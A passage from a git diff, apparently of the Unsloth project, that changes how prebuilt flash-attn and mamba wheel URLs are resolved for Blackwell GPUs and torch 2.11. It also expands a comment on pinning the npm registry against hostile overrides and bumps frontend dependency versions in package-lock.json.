FLASH_ATTN_RELEASE_BASE_URL = "https://github.com/Dao-AILab/flash-attention/rele def has_blackwell_gpu() -> bool: """Return True if any visible NVIDIA GPU has compute capability >= 10.0 (Blackwell). - Dao-AILab ships no flash-attention wheels for these archs and older-arch wheels - fail to load, so callers use this to skip the flash-attn install path. Cached - for the process lifetime; tests mocking nvidia-smi must call + Cached for the process lifetime; tests mocking nvidia-smi must call ``has_blackwell_gpu.cache_clear()`` first. """ + # Detection disabled for now: Dao-AILab ships Blackwell (sm_100+) flash-attn + # wheels and url_exists() already gates resolution, so we no longer skip + # flash-attn on Blackwell. The nvidia-smi probe below is kept for possible + # future arch-based gating; drop this early return to re-enable it. + return False exe = shutil.which("nvidia-smi") if not exe: return False @@ -117,6 +120,19 @@ def probe_torch_wheel_env(*, timeout: int | None = None) -> dict[str, str] | Non return env +# torch 2.11 has no native prebuilt wheels for flash-attn / causal-conv1d / mamba +# yet, but their torch 2.10 CUDA wheels load and pass the projects' own test suites +# on torch 2.11 (verified on B200: FA2 fwd/bwd, causal-conv1d, and mamba selective +# scan all match reference). Reuse the torch 2.10 wheels on torch 2.11 so a 2.11 +# install still gets these prebuilt accelerators instead of building from source. +_PREBUILT_WHEEL_TORCH_MM = {"2.11": "2.10"} + + +def prebuilt_wheel_torch_mm(torch_mm: str) -> str: + """Map a torch major.minor to the one whose prebuilt accelerator wheels to use.""" + return _PREBUILT_WHEEL_TORCH_MM.get(torch_mm, torch_mm) + + def direct_wheel_url( *, filename_prefix: str, @@ -130,7 +146,7 @@ def direct_wheel_url( filename = ( f"{filename_prefix}-{package_version}" - f"+cu{env['cuda_major']}torch{env['torch_mm']}" + f"+cu{env['cuda_major']}torch{prebuilt_wheel_torch_mm(env['torch_mm'])}" f"cxx11abi{env['cxx11abi']}-{env['python_tag']}-{env['python_tag']}" f"-{env['platform_tag']}.whl" ) @@ -152,7 +168,7 @@ def flash_attn_package_version(torch_mm: str) -> str | None: def flash_attn_wheel_url(env: dict[str, str] | None) -> str | None: if env is None: return None - package_version = flash_attn_package_version(env["torch_mm"]) + package_version = flash_attn_package_version(prebuilt_wheel_torch_mm(env["torch_mm"])) if package_version is None: return None return direct_wheel_url( diff --git a/studio/frontend/.npmrc b/studio/frontend/.npmrc index f2d15a4f15..19783b5ff4 100644 --- a/studio/frontend/.npmrc +++ b/studio/frontend/.npmrc @@ -14,9 +14,18 @@ min-release-age=7 # `npm install @ --save-exact` pass) but it stops new # carets from creeping into the manifest as patch-version footguns. save-exact=true -# Lock the registry. A user-set PIP_INDEX_URL-style override (here: -# NPM_CONFIG_REGISTRY env var or a stale ~/.npmrc) shouldn't redirect -# our installs to an attacker registry. +# Pin the default registry so a stale or hostile *lower-precedence* ~/.npmrc +# can't silently redirect our installs to an attacker registry. Note this does +# NOT block an ambient NPM_CONFIG_REGISTRY env var: npm and bun honor that at a +# higher precedence than this project file. That is exactly why Unsloth does not +# read NPM_CONFIG_REGISTRY and instead exposes one deliberate, explicit opt-in. +# +# Corporate mirror / proxy (issue #6491): if your firewall blocks +# registry.npmjs.org, set UNSLOTH_NPM_REGISTRY= when running +# ./install.sh (or setup.sh / setup.ps1). The installer threads it as +# `--registry `, which overrides this line for both npm and bun while +# leaving the min-release-age and save-exact locks above in force. Do not edit +# this line for that -- the env var keeps the default pinned for everyone else. registry=https://registry.npmjs.org/ audit-level=high fund=false diff --git a/studio/frontend/package-lock.json b/studio/frontend/package-lock.json index a521552d79..80db64553a 100644 --- a/studio/frontend/package-lock.json +++ b/studio/frontend/package-lock.json @@ -88,7 +88,7 @@ "globals": "^17.4.0", "typescript": "~5.9.3", "typescript-eslint": "^8.55.0", - "vite": "^8.0.1" + "vite": "^8.0.16" }, "engines": { "node": "^20.19.0 || >=22.12.0" @@ -1704,6 +1704,7 @@ "os": [ "android" ], + "peer": true, "engines": { "node": ">= 10" }, @@ -1724,6 +1725,7 @@ "os": [ "darwin" ], + "peer": true, "engines": { "node": ">= 10" }, @@ -1744,6 +1746,7 @@ "os": [ "darwin" ], + "peer": true, "engines": { "node": ">= 10" }, @@ -1764,6 +1767,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">= 10" }, @@ -1784,6 +1788,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">= 10" }, @@ -1804,6 +1809,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">= 10" }, @@ -1824,6 +1830,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">= 10" }, @@ -1844,6 +1851,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">= 10" }, @@ -1864,6 +1872,7 @@ "os": [ "linux" ], + "peer": true, "engines": { "node": ">= 10" }, @@ -1884,6 +1893,7 @@ "os": [ "win32" ], + "peer": true, "engines": { "node": ">= 10" }, @@ -1904,6 +1914,7 @@ "os": [ "win32" ], + "peer": true, "engines": { "node": ">= 10" }, @@ -1913,13 +1924,13 @@ } }, "node_modules/@napi-rs/wasm-runtime": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.4.tgz", - "integrity": "sha512-3NQNNgA1YSlJb/kMH1ildASP9HW7/7kYnRI2szWJaofaS1hWmbGI4H+d3+22aGzXXN9IJ+n+GiFVcGipJP18ow==", + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.5.tgz", + "integrity": "sha512-AWPoBRJ9tsnVhor4sjO7rkni+7p+2IAEFj6cx06UgP10jkQHqay/36uRV/bFkgrh18D9vb4cr8Q0Pthskgzy+Q==", "license": "MIT", "optional": true, "dependencies": { - "@tybys/wasm-util": "^0.10.1" + "@tybys/wasm-util": "^0.10.2" }, "funding": { "type": "github", @@ -2027,9 +2038,9 @@ "license": "MIT" }, "node_modules/@oxc-project/types": { - "version": "0.127.0", - "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.127.0.tgz", - "integrity": "sha512-aIYXQBo4lCbO4z0R3FHeucQHpF46l2LbMdxRvqvuRuW2OxdnSkcng5B8+K12spgLDj93rtN3+J2Vac/TIO+ciQ==", + "version": "0.133.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.133.0.tgz", + "integrity": "sha512-KzkdCd6Uxqnf6l3HOw1xfatAlUURA0g14cvBYFyJ5SaNOQbOUvBr9PKArcPcrNIeRsBdgcUzOGrhKveVpvOIGA==", "license": "MIT", "funding": { "url": "https://github.com/sponsors/Boshen" @@ -5583,9 +5594,9 @@ } }, "node_modules/@rolldown/binding-android-arm64": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.0-rc.17.tgz", - "integrity": "sha512-s70pVGhw4zqGeFnXWvAzJDlvxhlRollagdCCKRgOsgUOH3N1l0LIxf83AtGzmb5SiVM4Hjl5HyarMRfdfj3DaQ==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.3.tgz", + "integrity": "sha512-454rs7jHngixp/NMxd5srYD57OnzSlZ/eFTETjORQHLwJG1lRtmNOJcBerZlfu4GjKqeq8aCCIQrMdHyhI51Hw==", "cpu": [ "arm64" ], @@ -5599,9 +5610,9 @@ } }, "node_modules/@rolldown/binding-darwin-arm64": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.0-rc.17.tgz", - "integrity": "sha512-4ksWc9n0mhlZpZ9PMZgTGjeOPRu8MB1Z3Tz0Mo02eWfWCHMW1zN82Qz/pL/rC+yQa+8ZnutMF0JjJe7PjwasYw==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.3.tgz", + "integrity": "sha512-PcAhP+ynjURNyy8SKGl5DQP94aGuB/7JrXJb/t7P+hanXvQVMWzUvRRhBAcg/lNRadBhoUPqSoP4xw5tR/KBEA==", "cpu": [ "arm64" ], @@ -5615,9 +5626,9 @@ } }, "node_modules/@rolldown/binding-darwin-x64": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.0-rc.17.tgz", - "integrity": "sha512-SUSDOI6WwUVNcWxd02QEBjLdY1VPHvlEkw6T/8nYG322iYWCTxRb1vzk4E+mWWYehTp7ERibq54LSJGjmouOsw==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.3.tgz", + "integrity": "sha512-9YpfeUvSE2RS7wysJ81uOZkXJz7f7Q55H2Gvp3VEw/EsahqDtrphrZ0EwDLK5vvKOzaCrBsjF8JmnMLcUt78Gg==", "cpu": [ "x64" ], @@ -5631,9 +5642,9 @@ } }, "node_modules/@rolldown/binding-freebsd-x64": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.0-rc.17.tgz", - "integrity": "sha512-hwnz3nw9dbJ05EDO/PvcjaaewqqDy7Y1rn1UO81l8iIK1GjenME75dl16ajbvSSMfv66WXSRCYKIqfgq2KCfxw==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.3.tgz", + "integrity": "sha512-yB1IlAsSNHncV6SCTL27/MVGR5htvQsoGxIv5KMGXALp+Ll1wYsn+x98M9MW7qa+NdSbvrrY7ANI4wLJ0n1e6g==", "cpu": [ "x64" ], @@ -5647,9 +5658,9 @@ } }, "node_modules/@rolldown/binding-linux-arm-gnueabihf": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.0-rc.17.tgz", - "integrity": "sha512-IS+W7epTcwANmFSQFrS1SivEXHtl1JtuQA9wlxrZTcNi6mx+FDOYrakGevvvTwgj2JvWiK8B29/qD9BELZPyXQ==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.3.tgz", + "integrity": "sha512-Yi30IVAAfLUCy2MseFjbB1jAMDl1VMCAas5StnYp8da9+CKvMd2H2cbEjWcw5NPaPqzvYkVIaF1nNUG+b7u/sw==", "cpu": [ "arm" ], @@ -5663,9 +5674,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-gnu": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.0-rc.17.tgz", - "integrity": "sha512-e6usGaHKW5BMNZOymS1UcEYGowQMWcgZ71Z17Sl/h2+ZziNJ1a9n3Zvcz6LdRyIW5572wBCTH/Z+bKuZouGk9Q==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.3.tgz", + "integrity": "sha512-jsO7R8To+AdlYgUmN5sHSCZbfhtMBkO0WUx8iORQnPcMMdgr7qM2DQmMwgabs3GhNztdmoKkMKQFHD6DTMCIQw==", "cpu": [ "arm64" ], @@ -5679,9 +5690,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-musl": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.0-rc.17.tgz", - "integrity": "sha512-b/CgbwAJpmrRLp02RPfhbudf5tZnN9nsPWK82znefso832etkem8H7FSZwxrOI9djcdTP7U6YfNhbRnh7djErg==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.3.tgz", + "integrity": "sha512-VWkUHwWriDciit80wleYwKILoR/KMvxh/IdwS/paX+ZgpuRpCrKLUdadJbc0NpBEiyhpYawsJ73j9aCvOH+f7Q==", "cpu": [ "arm64" ], @@ -5695,9 +5706,9 @@ } }, "node_modules/@rolldown/binding-linux-ppc64-gnu": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.0-rc.17.tgz", - "integrity": "sha512-4EII1iNGRUN5WwGbF/kOh/EIkoDN9HsupgLQoXfY+D1oyJm7/F4t5PYU5n8SWZgG0FEwakyM8pGgwcBYruGTlA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.3.tgz", + "integrity": "sha512-5f1laC0SlIR0yDbFCd8acUhvJIag6N3zC5P7oUPN6wX0aOma+uKJ0wBDH5aq7I1PVI2ttTlhJwzwRIBnLiSGEg==", "cpu": [ "ppc64" ], @@ -5711,9 +5722,9 @@ } }, "node_modules/@rolldown/binding-linux-s390x-gnu": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.0-rc.17.tgz", - "integrity": "sha512-AH8oq3XqQo4IibpVXvPeLDI5pzkpYn0WiZAfT05kFzoJ6tQNzwRdDYQ45M8I/gslbodRZwW8uxLhbSBbkv96rA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.3.tgz", + "integrity": "sha512-Iq4ko0r4XsgbrF/LunNgHtAGLRRVE2kXonAXQ/MV0mC6jQpMOhW1SvtZja2EhC/kd05++bP78dsqBeIQyYJ6Yg==", "cpu": [ "s390x" ], @@ -5727,9 +5738,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-gnu": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.0-rc.17.tgz", - "integrity": "sha512-cLnjV3xfo7KslbU41Z7z8BH/E1y5mzUYzAqih1d1MDaIGZRCMqTijqLv76/P7fyHuvUcfGsIpqCdddbxLLK9rA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.3.tgz", + "integrity": "sha512-B8m6tD5+/N5FeNQFbKlLA/2yVq9ycQP1SeedyEYYKWBNR3ZQbkvIUcNnDNM03lO1l5F2roiiFJGgvoLLyZXtSg==", "cpu": [ "x64" ], @@ -5743,9 +5754,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-musl": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.0-rc.17.tgz", - "integrity": "sha512-0phclDw1spsL7dUB37sIARuis2tAgomCJXAHZlpt8PXZ4Ba0dRP1e+66lsRqrfhISeN9bEGNjQs+T/Fbd7oYGw==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.3.tgz", + "integrity": "sha512-pSdpdUJHkuCxun9LE7jvgUB9qsRgaiyNNCX7m/AvHTcq67AiT/Yhoxvw5zPfhrM8k/BfP8ce/hMOpthKDpEUow==", "cpu": [ "x64" ], @@ -5759,9 +5770,9 @@ } }, "node_modules/@rolldown/binding-openharmony-arm64": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.0-rc.17.tgz", - "integrity": "sha512-0ag/hEgXOwgw4t8QyQvUCxvEg+V0KBcA6YuOx9g0r02MprutRF5dyljgm3EmR02O292UX7UeS6HzWHAl6KgyhA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.3.tgz", + "integrity": "sha512-OXXS3RKJgX2uLwM+gYyuH5omcH8fL1LJs96pZGgtetVCahON57+d4SJHzTgZiOjxgGkSnpXpOsWuPDGAKAigEg==", "cpu": [ "arm64" ], @@ -5775,9 +5786,9 @@ } }, "node_modules/@rolldown/binding-wasm32-wasi": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.0-rc.17.tgz", - "integrity": "sha512-LEXei6vo0E5wTGwpkJ4KoT3OZJRnglwldt5ziLzOlc6qqb55z4tWNq2A+PFqCJuvWWdP53CVhG1Z9NtToDPJrA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.3.tgz", + "integrity": "sha512-JTtb8BWFynicNSoPrehsCzBtOKjZ6jhMiPFEmOiuXg1Fl8dn2KHQob+GuPSGR0dryQa1PQJbzjF3dqO/whhjLg==", "cpu": [ "wasm32" ], @@ -5793,9 +5804,9 @@ } }, "node_modules/@rolldown/binding-win32-arm64-msvc": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.0-rc.17.tgz", - "integrity": "sha512-gUmyzBl3SPMa6hrqFUth9sVfcLBlYsbMzBx5PlexMroZStgzGqlZ26pYG89rBb45Mnia+oil6YAIFeEWGWhoZA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.3.tgz", + "integrity": "sha512-gEdFFEN70A/jxb2svrWsN3aDL7OUtmvlOy+6fa2jxG8K0wQ1ZbdeLGnidov6Yu5/733dI5ySfzFlQ/cb0bSz1g==", "cpu": [ "arm64" ], @@ -5809,9 +5820,9 @@ } }, "node_modules/@rolldown/binding-win32-x64-msvc": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.0-rc.17.tgz", - "integrity": "sha512-3hkiolcUAvPB9FLb3UZdfjVVNWherN1f/skkGWJP/fgSQhYUZpSIRr0/I8ZK9TkF3F7kxvJAk0+IcKvPHk9qQg==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.3.tgz", + "integrity": "sha512-eXB7CHuaQdqmJcc3koCNtNPmT/bj2gc999kUFgBxG8Ac0NdgXc4rkCHhqrgrhN3zddvvvrgzj1e90SuSfmyIXA==", "cpu": [ "x64" ], @@ -10264,9 +10275,9 @@ } }, "node_modules/hono": { - "version": "4.12.21", - "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.21.tgz", - "integrity": "sha512-uV63apnb0kyPtAUwoWgaGh9HyIFcv8lgmzPZSiTBQAFOFGIzka5EZ1dZocmGnn0XdX0+XTqJ6Tqv7selMuGLRQ==", + "version": "4.12.25", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.25.tgz", + "integrity": "sha512-2NFaIyNVgJmBs/ecmtGzlmluTFs5cHEWGTdu0t1HBwYzoGXOL5nUQBRMXsXWla5i4KkG//QMzVP88m1+I3fdAQ==", "license": "MIT", "engines": { "node": ">=16.9.0" @@ -13091,6 +13102,34 @@ "points-on-curve": "0.2.0" } }, + "node_modules/postcss": { + "version": "8.5.15", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.15.tgz", + "integrity": "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.12", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, "node_modules/postcss-selector-parser": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", @@ -13104,6 +13143,24 @@ "node": ">=4" } }, + "node_modules/postcss/node_modules/nanoid": { + "version": "3.3.12", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", + "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, "node_modules/powershell-utils": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/powershell-utils/-/powershell-utils-0.1.0.tgz", @@ -13977,13 +14034,13 @@ "license": "Unlicense" }, "node_modules/rolldown": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.0-rc.17.tgz", - "integrity": "sha512-ZrT53oAKrtA4+YtBWPQbtPOxIbVDbxT0orcYERKd63VJTF13zPcgXTvD4843L8pcsI7M6MErt8QtON6lrB9tyA==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.3.tgz", + "integrity": "sha512-i00lAJ2ks1BYr7rjNjKC7BcqAS7nVfiT3QX1SI5aY+AFHblCmaUf9OE9dbdzDvW6dJxbi2ZCZiy9v3CcwOiX3g==", "license": "MIT", "dependencies": { - "@oxc-project/types": "=0.127.0", - "@rolldown/pluginutils": "1.0.0-rc.17" + "@oxc-project/types": "=0.133.0", + "@rolldown/pluginutils": "^1.0.0" }, "bin": { "rolldown": "bin/cli.mjs" @@ -13992,27 +14049,27 @@ "node": "^20.19.0 || >=22.12.0" }, "optionalDependencies": { - "@rolldown/binding-android-arm64": "1.0.0-rc.17", - "@rolldown/binding-darwin-arm64": "1.0.0-rc.17", - "@rolldown/binding-darwin-x64": "1.0.0-rc.17", - "@rolldown/binding-freebsd-x64": "1.0.0-rc.17", - "@rolldown/binding-linux-arm-gnueabihf": "1.0.0-rc.17", - "@rolldown/binding-linux-arm64-gnu": "1.0.0-rc.17", - "@rolldown/binding-linux-arm64-musl": "1.0.0-rc.17", - "@rolldown/binding-linux-ppc64-gnu": "1.0.0-rc.17", - "@rolldown/binding-linux-s390x-gnu": "1.0.0-rc.17", - "@rolldown/binding-linux-x64-gnu": "1.0.0-rc.17", - "@rolldown/binding-linux-x64-musl": "1.0.0-rc.17", - "@rolldown/binding-openharmony-arm64": "1.0.0-rc.17", - "@rolldown/binding-wasm32-wasi": "1.0.0-rc.17", - "@rolldown/binding-win32-arm64-msvc": "1.0.0-rc.17", - "@rolldown/binding-win32-x64-msvc": "1.0.0-rc.17" + "@rolldown/binding-android-arm64": "1.0.3", + "@rolldown/binding-darwin-arm64": "1.0.3", + "@rolldown/binding-darwin-x64": "1.0.3", + "@rolldown/binding-freebsd-x64": "1.0.3", + "@rolldown/binding-linux-arm-gnueabihf": "1.0.3", + "@rolldown/binding-linux-arm64-gnu": "1.0.3", + "@rolldown/binding-linux-arm64-musl": "1.0.3", + "@rolldown/binding-linux-ppc64-gnu": "1.0.3", + "@rolldown/binding-linux-s390x-gnu": "1.0.3", + "@rolldown/binding-linux-x64-gnu": "1.0.3", + "@rolldown/binding-linux-x64-musl": "1.0.3", + "@rolldown/binding-openharmony-arm64": "1.0.3", + "@rolldown/binding-wasm32-wasi": "1.0.3", + "@rolldown/binding-win32-arm64-msvc": "1.0.3", + "@rolldown/binding-win32-x64-msvc": "1.0.3" } }, "node_modules/rolldown/node_modules/@rolldown/pluginutils": { - "version": "1.0.0-rc.17", - "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-rc.17.tgz", - "integrity": "sha512-n8iosDOt6Ig1UhJ2AYqoIhHWh/isz0xpicHTzpKBeotdVsTEcxsSA/i3EVM7gQAj0rU27OLAxCjzlj15IWY7bg==", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", + "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==", "license": "MIT" }, "node_modules/roughjs": { @@ -14275,52 +14332,6 @@ "node": ">=20" } }, - "node_modules/shadcn/node_modules/nanoid": { - "version": "3.3.12", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", - "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/shadcn/node_modules/postcss": { - "version": "8.5.14", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.14.tgz", - "integrity": "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.11", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, "node_modules/shadcn/node_modules/zod": { "version": "3.25.76", "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", @@ -14786,9 +14797,9 @@ } }, "node_modules/tinyglobby": { - "version": "0.2.16", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.16.tgz", - "integrity": "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==", + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", "license": "MIT", "dependencies": { "fdir": "^6.5.0", @@ -15456,16 +15467,16 @@ } }, "node_modules/vite": { - "version": "8.0.10", - "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.10.tgz", - "integrity": "sha512-rZuUu9j6J5uotLDs+cAA4O5H4K1SfPliUlQwqa6YEwSrWDZzP4rhm00oJR5snMewjxF5V/K3D4kctsUTsIU9Mw==", + "version": "8.0.16", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.16.tgz", + "integrity": "sha512-h9bXPmJichP5fLmVQo3PyaGSDE2n3aPuomeAlVRm0JLmt4rY6zmPKd59HYI4LNW8oTK7tlTsuC7l/m7awx9Jcw==", "license": "MIT", "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", - "postcss": "^8.5.10", - "rolldown": "1.0.0-rc.17", - "tinyglobby": "^0.2.16" + "postcss": "^8.5.15", + "rolldown": "1.0.3", + "tinyglobby": "^0.2.17" }, "bin": { "vite": "bin/vite.js" @@ -15481,7 +15492,7 @@ }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", - "@vitejs/devtools": "^0.1.0", + "@vitejs/devtools": "^0.1.18", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", @@ -15546,52 +15557,6 @@ "node": "^8.16.0 || ^10.6.0 || >=11.0.0" } }, - "node_modules/vite/node_modules/nanoid": { - "version": "3.3.12", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", - "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/vite/node_modules/postcss": { - "version": "8.5.14", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.14.tgz", - "integrity": "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.11", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, "node_modules/warning": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz", diff --git a/studio/frontend/package.json b/studio/frontend/package.json index c49b62ab50..a2eddecda3 100644 --- a/studio/frontend/package.json +++ b/studio/frontend/package.json @@ 